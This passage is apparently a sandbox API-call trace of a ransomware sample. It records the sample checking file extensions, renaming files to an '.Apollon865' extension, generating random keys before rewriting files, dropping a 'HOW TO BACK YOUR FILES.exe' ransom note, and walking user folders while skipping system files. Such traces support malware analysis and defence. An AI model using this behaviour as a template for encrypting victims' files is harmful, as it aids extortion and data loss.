	[0086.061] lstrlenW (lpString="spq") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="spq") returned -1
	[0086.061] lstrlenW (lpString="te") returned 2
	[0086.061] lstrcmpiW (lpString1="ta", lpString2="te") returned -1
	[0086.061] lstrlenW (lpString="teacher") returned 7
	[0086.061] lstrcmpiW (lpString1="crodata", lpString2="teacher") returned -1
	[0086.061] lstrlenW (lpString="tmd") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="tmd") returned -1
	[0086.061] lstrlenW (lpString="tps") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="tps") returned -1
	[0086.061] lstrlenW (lpString="trc") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="trc") returned -1
	[0086.061] lstrlenW (lpString="trc") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="trc") returned -1
	[0086.062] lstrlenW (lpString="trm") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="trm") returned -1
	[0086.062] lstrlenW (lpString="udb") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="udb") returned -1
	[0086.062] lstrlenW (lpString="udl") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="udl") returned -1
	[0086.062] lstrlenW (lpString="usr") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="usr") returned -1
	[0086.062] lstrlenW (lpString="v12") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="v12") returned -1
	[0086.062] lstrlenW (lpString="vis") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="vis") returned -1
	[0086.062] lstrlenW (lpString="vpd") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="vpd") returned -1
	[0086.062] lstrlenW (lpString="vvv") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="vvv") returned -1
	[0086.062] lstrlenW (lpString="wdb") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="wdb") returned -1
	[0086.062] lstrlenW (lpString="wmdb") returned 4
	[0086.062] lstrcmpiW (lpString1="data", lpString2="wmdb") returned -1
	[0086.062] lstrlenW (lpString="wrk") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="wrk") returned -1
	[0086.062] lstrlenW (lpString="xdb") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="xdb") returned -1
	[0086.062] lstrlenW (lpString="xld") returned 3
	[0086.062] lstrcmpiW (lpString1="ata", lpString2="xld") returned -1
	[0086.062] lstrlenW (lpString="xmlff") returned 5
	[0086.062] lstrcmpiW (lpString1="odata", lpString2="xmlff") returned -1
	[0086.062] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata.Apollon865") returned 88
	[0086.062] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata.Apollon865" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata.apollon865"), dwFlags=0x1) returned 1
	[0086.063] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata.Apollon865" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.064] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=479) returned 1
	[0086.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.064] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.065] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.065] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.065] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e0, lpName=0x0) returned 0x15c
	[0086.067] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e0) returned 0x100000
	[0086.068] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.069] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.069] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.069] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.069] CloseHandle (hObject=0x15c) returned 1
	[0086.069] CloseHandle (hObject=0x9c) returned 1
	[0086.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.070] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300c8cb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.070] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.070] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300c8cb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0086.070] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.070] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79d0
	[0086.070] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz"
	[0086.070] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5f68 | out: hHeap=0x580000) returned 1
	[0086.070] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79c8 | out: hHeap=0x580000) returned 1
	[0086.070] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 29
	[0086.070] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz"
	[0086.070] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.070] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.071] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.071] GetLastError () returned 0x0
	[0086.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.071] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.071] CloseHandle (hObject=0x10c) returned 1
	[0086.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.071] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.071] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x300eee10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300eee10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.071] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.071] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.071] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.071] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x300eee10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300eee10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.071] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.071] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.071] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.071] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.071] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x306700f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x306700f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="Apollon865.txt.exe") returned 1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2=".") returned 1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="..") returned 1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="windows") returned -1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="bootmgr") returned -1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="temp") returned -1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="pagefile.sys") returned -1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="boot") returned -1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="ids.txt") returned -1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="ntuser.dat") returned -1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="perflogs") returned -1
	[0086.072] lstrcmpiW (lpString1="AppData", lpString2="MSBuild") returned -1
	[0086.072] lstrlenW (lpString="AppData") returned 7
	[0086.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*") returned 31
	[0086.072] lstrcpyW (in: lpString1=0x119e644, lpString2="AppData" | out: lpString1="AppData") returned="AppData"
	[0086.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79c8
	[0086.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bc9b8
	[0086.072] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79d0 | out: ListHead=0x5b75f0, ListEntry=0x5b79d0) returned 0x5b7830
	[0086.072] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="Apollon865.txt.exe") returned 1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1
	[0086.072] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1
	[0086.072] lstrlenW (lpString="Application Data") returned 16
	[0086.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 37
	[0086.072] lstrcpyW (in: lpString1=0x119e644, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data"
	[0086.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79e8
	[0086.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c55f8
	[0086.073] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79f0 | out: ListHead=0x5b75f0, ListEntry=0x5b79f0) returned 0x5b79d0
	[0086.073] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30623e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30623e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="Apollon865.txt.exe") returned 1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2=".") returned 1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="..") returned 1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="windows") returned -1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="bootmgr") returned 1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="temp") returned -1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="pagefile.sys") returned -1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="boot") returned 1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="ids.txt") returned -1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="ntuser.dat") returned -1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="perflogs") returned -1
	[0086.073] lstrcmpiW (lpString1="Contacts", lpString2="MSBuild") returned -1
	[0086.073] lstrlenW (lpString="Contacts") returned 8
	[0086.073] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned 46
	[0086.073] lstrcpyW (in: lpString1=0x119e644, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts"
	[0086.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a08
	[0086.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bc8b0
	[0086.073] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a10 | out: ListHead=0x5b75f0, ListEntry=0x5b7a10) returned 0x5b79f0
	[0086.073] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2="Apollon865.txt.exe") returned 1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2=".") returned 1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2="..") returned 1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2="windows") returned -1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2="bootmgr") returned 1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2="temp") returned -1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2="pagefile.sys") returned -1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2="boot") returned 1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2="ids.txt") returned -1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2="ntuser.dat") returned -1
	[0086.073] lstrcmpiW (lpString1="Cookies", lpString2="perflogs") returned -1
	[0086.074] lstrcmpiW (lpString1="Cookies", lpString2="MSBuild") returned -1
	[0086.074] lstrlenW (lpString="Cookies") returned 7
	[0086.074] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned 38
	[0086.074] lstrcpyW (in: lpString1=0x119e644, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies"
	[0086.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a28
	[0086.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bcb18
	[0086.074] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a30 | out: ListHead=0x5b75f0, ListEntry=0x5b7a30) returned 0x5b7a10
	[0086.074] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3058b8b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3058b8b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="Apollon865.txt.exe") returned 1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1
	[0086.074] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1
	[0086.074] lstrlenW (lpString="Desktop") returned 7
	[0086.074] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned 37
	[0086.074] lstrcpyW (in: lpString1=0x119e644, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop"
	[0086.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ba8
	[0086.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bca10
	[0086.074] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bb0) returned 0x5b7a30
	[0086.074] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x302ddff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302ddff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0086.074] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.074] lstrcmpiW (lpString1="Documents", lpString2="Apollon865.txt.exe") returned 1
	[0086.074] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1
	[0086.074] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1
	[0086.074] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1
	[0086.074] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1
	[0086.074] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1
	[0086.074] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1
	[0086.075] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1
	[0086.075] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1
	[0086.075] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1
	[0086.075] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1
	[0086.075] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1
	[0086.075] lstrlenW (lpString="Documents") returned 9
	[0086.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37
	[0086.075] lstrcpyW (in: lpString1=0x119e644, lpString2="Documents" | out: lpString1="Documents") returned="Documents"
	[0086.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0086.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bca68
	[0086.075] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a90 | out: ListHead=0x5b75f0, ListEntry=0x5b7a90) returned 0x5b7bb0
	[0086.075] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30480f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30480f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="Apollon865.txt.exe") returned 1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2=".") returned 1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="..") returned 1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="windows") returned -1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="bootmgr") returned 1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="temp") returned -1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="pagefile.sys") returned -1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="boot") returned 1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="ids.txt") returned -1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="ntuser.dat") returned -1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="perflogs") returned -1
	[0086.075] lstrcmpiW (lpString1="Downloads", lpString2="MSBuild") returned -1
	[0086.075] lstrlenW (lpString="Downloads") returned 9
